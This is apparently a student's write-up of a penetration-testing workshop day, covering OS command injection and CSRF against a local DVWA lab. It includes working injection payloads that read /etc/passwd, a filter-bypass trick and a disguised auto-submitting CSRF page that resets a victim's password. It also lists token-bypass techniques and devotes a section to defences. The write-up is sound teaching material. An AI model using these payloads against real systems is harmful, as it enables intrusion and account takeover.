Security Notice & Lab Scope
This documentation captures hands-on penetration testing and web application vulnerability exploitation conducted in a strictly isolated local laboratory environment during Day 4 of the Ethical Hacking and Penetration Testing Workshop at BugXploit (Koteshwor). All tests targeted local Damn Vulnerable Web Application (DVWA) instances running on Metasploitable 2 for educational and defensive auditing purposes.
Table of Contents
- 6. Intercepting & Modifying HTTP Traffic
- 7. Understanding CSRF (Cross-Site Request Forgery)
- 8. Method Conversion: Changing GET to POST in Burp
- 9. Anti-CSRF Token Analysis & Bypass Vectors
- 10. Weaponizing CSRF PoCs with csrfshark.github.io
- 11. Why Labs Behave Differently than Production
- 12. Hardening & Defensive Countermeasures
- 13. Day 4 Summary & Key Takeaways
1. Lab Environment Architecture & Target Setup
Building upon the reconnaissance and network discovery covered in Day 1 and Day 2, Day 4 transitioned directly into application-layer security assessment. The target infrastructure was hosted inside our isolated VirtualBox Host-Only / Bridged subnet:
- Attacker Workstation: Kali Linux 2026.2 (running Burp Suite Community Edition, curl, netcat, browser configured via FoxyProxy).
- Target Server: Metasploitable 2 Linux Server hosting the Apache HTTP web server at
http://192.168.1.146/. - Primary Vulnerable Application: Damn Vulnerable Web Application (DVWA) accessible at:
http://192.168.1.146/dvwa/ - Key Exploitation Endpoints:
- Command Execution Lab:
http://192.168.1.146/dvwa/vulnerabilities/exec/ - CSRF (Cross-Site Request Forgery) Lab:
http://192.168.1.146/dvwa/vulnerabilities/csrf/ - DVWA Security Level Toggle:
http://192.168.1.146/dvwa/security.php
- Command Execution Lab:
Username: admin | Password: password.
2. What is OS Command Injection? (CWE-78)
Operating System (OS) Command Injection (classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command) occurs when a web application accepts user-supplied data and passes it directly to a system shell (such as /bin/sh, /bin/bash, or Windows cmd.exe) without adequate sanitization, escaping, or parameterization.
In PHP applications, dangerous execution sinks include functions like:
shell_exec($cmd): Executes command via shell and returns the complete output as a string.exec($cmd, $output, $return_var): Executes the command, returns the last line of output, and fills an array with all lines.system($cmd, $return_var): Executes the command, immediately outputs the result to the browser, and returns the status code.passthru($cmd): Executes command and passes raw binary output back to the HTTP response stream.popen()/proc_open(): Opens a pipe to an executed command process for bidirectional I/O.- Backtick operator:
`$cmd`(equivalent toshell_exec).
www-data, apache, or nobody). From there, attackers can dump databases, view sensitive config files (like /etc/passwd, /etc/shadow, wp-config.php), upload persistent web shells, download reverse shells, and escalate privileges to root.
3. Hands-on Command Execution on DVWA
Navigating to http://192.168.1.146/dvwa/vulnerabilities/exec/ presents a network diagnostic interface asking the user to "Enter an IP address:" to perform a standard ICMP Ping check.
Shell Operator Mechanics
On Unix-like operating systems, the shell interprets special metacharacters that allow chaining multiple commands together in a single line:
| Operator | Name | Execution Logic | Example Injection |
|---|---|---|---|
; |
Semicolon | Sequential execution regardless of success or failure of previous command. | 127.0.0.1; whoami |
&& |
Logical AND | Executes second command only if the first command returns exit code 0 (success). | 192.168.1.1 && ls -la |
|| |
Logical OR | Executes second command only if the first command returns a non-zero exit code (failure). | invalid_ip || id |
| |
Pipe | Pipes the standard output (stdout) of the first command as stdin to the second command. | 127.0.0.1 | uname -a |
& |
Background Operator | Runs first command in the background and immediately starts the second command concurrently. | 127.0.0.1 & cat /etc/passwd |
`cmd` or $(cmd) |
Command Substitution | Evaluates inner command and replaces its token with stdout before running parent command. | 127.0.0.1 $(whoami) |
Executing Real Payloads in Lab
Test 1: Legitimate Ping Request
Submitting a standard loopback address 127.0.0.1 executes ping -c 3 127.0.0.1 in the background and prints three ICMP echo replies.
Test 2: Chaining with Logical AND (&&)
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=0.821 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=0.912 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=0.875 ms
--- 192.168.1.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 0.821/0.869/0.912/0.046 ms
index.php
source
Test 3: Extracting Working Directory (pwd) & Web User Identity (whoami)
/var/www/dvwa/vulnerabilities/exec
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Test 4: Reading Sensitive System Files (/etc/passwd)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
4. DVWA Security Levels & PHP Source Analysis
DVWA provides four distinct security postures controlled at http://192.168.1.146/dvwa/security.php:
Low, Medium, High, and Impossible. Understanding why each level fails or succeeds illustrates defense-in-depth engineering.
Level: Low (Zero Input Sanitization)
Examining the backend PHP source code for the Low security level reveals direct string concatenation:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input from user form
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows command
$cmd = shell_exec( 'ping ' . $target );
} else {
// *nix command - DIRECT STRING CONCATENATION WITHOUT SANITIZATION!
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Output to browser
echo "<pre>{$cmd}</pre>";
}
?>
$target is concatenated directly into 'ping -c 4 ' . $target, passing 127.0.0.1; ls transforms the command executed by bash into: ping -c 4 127.0.0.1; ls.
Level: Medium (Blacklist Filtering Flaw)
In Medium security, the developer attempts to filter metacharacters using an incomplete blacklist:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist array
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any matches from the input string
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Execution sink
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
} else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
echo "<pre>{$cmd}</pre>";
}
?>
&& and ;.
1. Single Ampersand:
127.0.0.1 & whoami runs ping in the background and immediately runs whoami.
2. Pipe Operator:
127.0.0.1 | whoami works because | is not blacklisted.
3. Nested Replacement:
&&&& or ;&&; might bypass non-recursive str_replace() filters.
Level: High (Regex Character Stripping Bypass)
In High security, the blacklist expands significantly, but subtle developer typos leave attack surface open:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = trim($_REQUEST[ 'ip' ]);
// High Security Blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '', // NOTICE THE ACCIDENTAL SPACE AFTER THE PIPE!
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo "<pre>{$cmd}</pre>";
}
?>
'| ' => ''. The developer accidentally included a trailing space after the pipe character! Therefore, if an attacker provides a pipe without an immediate trailing space (e.g., 127.0.0.1|whoami or 127.0.0.1|cat /etc/passwd), the replacement condition is false, and the shell executes the command perfectly!
Level: Impossible (True Parameterization / Strict Whitelisting)
The secure implementation validates that the input strictly matches 4 octets separated by dots:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octets
$octet = explode( ".", $target );
// Verify all 4 elements exist and are strictly integers
if( ( sizeof( $octet ) == 4 ) &&
is_numeric( $octet[0] ) &&
is_numeric( $octet[1] ) &&
is_numeric( $octet[2] ) &&
is_numeric( $octet[3] ) ) {
// Re-synthesize strictly sanitized IP string
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
$cmd = shell_exec( 'ping -c 4 ' . escapeshellarg( $target ) );
echo "<pre>{$cmd}</pre>";
} else {
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
?>
5. Introduction to Burp Suite Proxy
Burp Suite (developed by PortSwigger) is the industry-standard integrated platform for performing security testing of web applications. During Day 4, instructor Birendra Sah introduced the core architecture of Burp Suite:
- Intercepting Proxy: Positioned as a Man-in-the-Middle (MitM) between your browser and the web application. Every HTTP/HTTPS request and response can be captured, inspected, and modified on the fly before reaching the server.
- Repeater: A tool for crafting, modifying, and re-issuing individual HTTP requests, viewing responses side-by-side without reloading browser pages.
- Intruder: Automated custom payload delivery engine for brute-forcing, credential stuffing, and fuzzing input parameters.
- Target & Site Map: Passive cataloging of every host, URL, directory path, parameter, and response code encountered during a browsing session.
Configuring the Browser Proxy
To route browser traffic through Burp Suite:
- Launch Burp Suite on Kali Linux:
burpsuite & - Navigate to Proxy → Proxy Settings: Verify listener is active on
127.0.0.1:8080. - Configure Firefox using the FoxyProxy extension pointing HTTP and HTTPS traffic to
127.0.0.1on port8080. - Install Burp's PortSwigger CA Certificate into Firefox (
http://burpsuite/cert) to seamlessly decrypt SSL/TLS HTTPS packets without browser security alerts.
6. Intercepting & Modifying HTTP Traffic
With Proxy → Intercept is on enabled, every HTTP interaction pauses in Burp Suite. This unlocks deep capabilities:
- Bypassing Frontend JavaScript Validation: Client-side checks (such as HTML5
required,maxlength="10", or regex field validations) only exist in the user's browser. Once intercepted in Burp, any field value can be expanded, replaced with SQL injection strings, or appended with shell characters. - Header Tampering: Modifying
User-Agent,Referer,Host,Cookie, or injecting custom security headers likeX-Forwarded-For. - Parameter Tampering: Altering hidden form parameters, prices (e.g.,
amount=999changed toamount=1), user roles (e.g.,role=usertorole=admin), or session identifiers.
7. Understanding CSRF (Cross-Site Request Forgery)
Cross-Site Request Forgery (classified under CWE-352) is an attack that forces an authenticated end-user into executing unwanted actions on a web application in which they are currently logged in.
Because browsers automatically attach session cookies (such as PHPSESSID) with every outbound cross-origin request made to a target domain, the vulnerable server cannot inherently differentiate between:
- A legitimate request initiated intentionally by the user from the actual site.
- A malicious request triggered surreptitiously by third-party malicious code (e.g., an attacker-controlled website, phishing email, or iframe).
1. A Relevant Action: An action within the application that has security impact (e.g., updating user email, resetting passwords, transferring bank funds).
2. Cookie-Based Session Handling: The application relies solely on HTTP cookies to validate the caller identity without multi-factor authorization.
3. No Unpredictable Request Parameters: The request structure is completely predictable; there are no secret, unpredictable anti-CSRF tokens validating origin authenticity.
8. Method Conversion: Changing GET to POST in Burp
In our DVWA lab session at http://192.168.1.146/dvwa/vulnerabilities/csrf/, changing passwords sends the following HTTP GET request:
Host: 192.168.1.146
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.146/dvwa/vulnerabilities/csrf/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: security=low; PHPSESSID=9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d
Connection: keep-alive
Why GET-Based State Changes are Terribly Insecure
RFC 7231 specifies that GET requests must be idempotent and safe—they should only retrieve data, never modify system state! When an application changes user passwords over a GET request:
- Sensitive credentials appear in browser history and server access logs in plaintext.
- Vulnerable to image tag exploitation: An attacker doesn't even need JavaScript! A simple HTML image tag
<img src="http://192.168.1.146/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">immediately triggers the password change as soon as the victim opens the page!
How to Convert GET to POST in Burp Suite
In Burp Suite Repeater or Proxy, you can transform request methods instantly:
- Right-click anywhere inside the raw HTTP request body.
- Click "Change request method".
- Burp Suite automatically handles all protocol requirements:
- The verb changes from
GETtoPOST. - The query parameters (
?password_new=test123&password_conf=test123&Change=Change) are stripped from the URL path. - Burp injects the necessary header:
Content-Type: application/x-www-form-urlencoded. - Burp calculates and attaches the
Content-Length: 48header. - The parameters are relocated into the HTTP request payload body.
- The verb changes from
Host: 192.168.1.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://192.168.1.146/dvwa/vulnerabilities/csrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Cookie: security=low; PHPSESSID=9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d
Connection: keep-alive
password_new=test123&password_conf=test123&Change=Change
9. Anti-CSRF Token Analysis & Bypass Vectors
To defend against CSRF, modern web applications generate cryptographically random, unpredictable anti-CSRF tokens (also called Synchronizer Tokens) tied to the user's active session. In DVWA High security, every password change form contains a hidden token:
<input type="hidden" name="user_token" value="e0f8c2b7d5a491e3f8901b2a4c6e7f89" />
Common Developer Implementation Flaws & Bypass Techniques
| Vulnerability Pattern | Flaw Explanation | Exploitation / Bypass Method |
|---|---|---|
| Validation depends on token presence | The server checks the token only if the user_token parameter exists in the request body. |
In Burp Suite, simply delete the entire &user_token=... parameter from the request. If the server only executes if(isset($_POST['user_token'])) { validate(); }, removing it allows the action to succeed without a token! |
| Validation depends on HTTP Method | The backend enforces CSRF token checks on POST requests, but blindly executes the action if sent via GET. |
Use Burp Suite's "Change request method" to convert the POST request into a GET request. If the server uses PHP's $_REQUEST superglobal, the action executes while skipping POST token verification. |
| Token is not tied to user session | The application maintains a pool of valid tokens or only verifies that the token was issued by the server, without tying it to the specific user's session cookie. | The attacker logs into their own account, extracts a fresh valid token, and inserts their token into the CSRF exploit delivered to the victim. |
| Token tied to non-session cookie (Double Submit Cookie) | The server compares the submitted form token with a cookie value (e.g., csrf_cookie=abc). |
If the attacker can find a sub-domain cookie-tossing vulnerability or CRLF injection, they can overwrite the victim's cookie with their known value and submit the matching form token. |
| Referer Header Validation Flaw (DVWA Medium) | The server only checks if the Referer header contains the server's domain string. |
In DVWA Medium, the backend checks: stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']). An attacker can host an exploit on http://attacker.com/192.168.1.146.html; because the IP appears in the referer string, the check passes! |
10. Weaponizing CSRF PoCs with csrfshark.github.io
While Burp Suite Professional features a built-in "Generate CSRF PoC" engagement tool, security researchers using Burp Suite Community Edition utilize web-based generator engines such as:
CSRFShark is an open-source CSRF PoC generation utility that converts captured raw HTTP requests into auto-submitting HTML/JavaScript exploit templates.
Step-by-Step PoC Generation Workflow
1 Capture Request: In Burp Suite Proxy or Repeater, copy the complete raw HTTP request targeting /dvwa/vulnerabilities/csrf/.
2 Input into CSRFShark: Navigate to https://csrfshark.github.io/ and paste the raw request into the input editor.
3 Select Submission Strategy: Configure whether the PoC should use hidden form auto-submit via JavaScript (document.forms[0].submit()) or XMLHttpRequest / Fetch with credentials.
4 Generate Weaponized HTML: CSRFShark generates the following clean HTML PoC payload:
<html>
<head>
<title>Special Reward - Claim Now!</title>
</head>
<body>
<h1>Loading your special promotion, please wait...</h1>
<!-- Hidden Exploit Form Targeting DVWA -->
<form id="csrfForm" action="http://192.168.1.146/dvwa/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value="hacked123" />
<input type="hidden" name="password_conf" value="hacked123" />
<input type="hidden" name="Change" value="Change" />
</form>
<script>
// Auto-submit the malicious form immediately upon loading
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
Simulating the Attack: When an authenticated victim currently logged into DVWA opens exploit.html (hosted on an attacker's web server or sent via a phishing link), the browser automatically submits the form to http://192.168.1.146/dvwa/vulnerabilities/csrf/, attaching the victim's legitimate PHPSESSID cookie. The victim's password is reset to hacked123 without their consent or knowledge!
11. Why Labs Behave Differently than Production
During the BugXploit workshop session, students observed that CSRF attacks in older practice targets like DVWA execute effortlessly, whereas replicating the exact same exploit against modern 2026 production web applications often fails. Understanding these differences is crucial for professional penetration testers:
| Defense Mechanism | Old Lab Environment (DVWA / Metasploitable 2) | Modern Production Environments (2026 Standards) |
|---|---|---|
Cookie SameSite Attribute |
Session cookies are set without a SameSite attribute: Set-Cookie: PHPSESSID=xyz; path=/. |
Browsers default to SameSite=Lax. Cross-origin POST requests and state-changing requests do NOT include cookies unless explicitly set to SameSite=None; Secure. |
| Cross-Origin Resource Sharing (CORS) & Preflight | Traditional HTML form submissions ignore CORS policies; simple requests execute directly. | Modern Single Page Applications (SPAs with React, Angular, Vue) communicate via fetch() or axios with Content-Type: application/json. Browsers fire an HTTP OPTIONS preflight check that blocks unauthorized cross-origin requests. |
| Framework-Level CSRF Protection | Custom legacy PHP code with no built-in protection unless manually written by developer. | Modern frameworks (Laravel, Django, Ruby on Rails, Spring Boot, ASP.NET Core) generate, inject, and validate cryptographically secure anti-CSRF tokens by default across all forms and AJAX calls. |
| WAF / IDS Filters | Disabled by default (DVWA includes optional PHPIDS, but it is turned off in standard setups). | Cloudflare, AWS WAF, Akamai, and Imperva inspect request body patterns, referer headers, and automated user-agent behaviors, triggering immediate CAPTCHAs or 403 Forbidden blocks. |
| Re-Authentication on Sensitive Actions | Password changes require only the new password; no current password prompt exists. | Zero-Trust pattern: Changing email or password requires entering the Current Password or verifying through an out-of-band Multi-Factor Authentication (MFA) push notification or OTP. |
12. Hardening & Defensive Countermeasures
Remediating OS Command Injection
- Avoid Shell Execution Sinks: Never pass user input into
shell_exec(),system(),exec(), or backticks. Most administrative tasks (pinging, network checks, file operations) have native language APIs or libraries. - Escaping Shell Arguments: If external execution is unavoidable, use
escapeshellcmd()andescapeshellarg()in PHP to neutralize metacharacters:$clean_ip = escapeshellarg( $user_ip ); $output = shell_exec( "ping -c 4 " . $clean_ip ); - Strict Input Whitelisting: Validate that the incoming parameter matches a strict expected format (e.g., IPv4 regex
/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/) before processing. - Principle of Least Privilege: Run the web server service under a non-root, restricted user account (e.g.,
www-data) with strictsudoersrules and directory read-only flags.
Remediating Cross-Site Request Forgery
- Synchronizer Token Pattern (STP): Generate unique, cryptographically secure, unpredictable anti-CSRF tokens for each user session. Validate tokens on every state-changing HTTP method (POST, PUT, DELETE, PATCH).
- Enforce
SameSite=StrictorSameSite=LaxCookies:Set-Cookie: session_id=xyz89; Secure; HttpOnly; SameSite=StrictStrictensures the cookie is never sent with cross-site requests, completely mitigating CSRF attacks. - Require Current Password / Re-Authentication: Sensitive operations (password updates, email changes, fund transfers) must mandate re-entry of the existing password or MFA confirmation.
- Custom Request Headers: For API endpoints, require custom headers such as
X-Requested-With: XMLHttpRequestor custom bearer tokens that cannot be set by standard cross-origin HTML forms.
13. Day 4 Summary & Key Takeaways
- Command Execution Severity: CWE-78 represents an instant critical vulnerability allowing arbitrary shell execution on the underlying operating system.
- Shell Operators: Metacharacters like
;,&&,|, and&chain commands together; blacklists that omit any of these characters (like DVWA Medium or High) will inevitably be bypassed. - Proxy Power: Burp Suite provides complete control over the HTTP request/response lifecycle, bypassing client-side constraints effortlessly.
- GET vs POST in CSRF: Never use GET requests for state-changing operations. Converting GET to POST in Burp changes the request structure, headers, and body location.
- Automated PoC Generation: Tools like
csrfshark.github.ioenable researchers to rapidly generate weaponized HTML proof-of-concept exploits for bug bounty submissions. - Real-World Defenses: Modern defenses like
SameSite=Lax/Strictcookie flags, preflight CORS checks, and framework-level anti-CSRF tokens make modern targets far more resilient than legacy practice labs.
WARNING: Strictly For Educational & Defensive Purposes Only
All command injection testing, Burp Suite request tampering, and CSRF proof-of-concept workflows documented in this report were performed within an isolated, authorized local lab environment (Metasploitable 2 and DVWA). Executing these attacks against unauthorized systems, networks, or public applications without express written permission is illegal under the Electronic Transactions Act (ETA) of Nepal and international cyber law. TheWH2 and BugXploit promote ethical, white-hat offensive and defensive security research.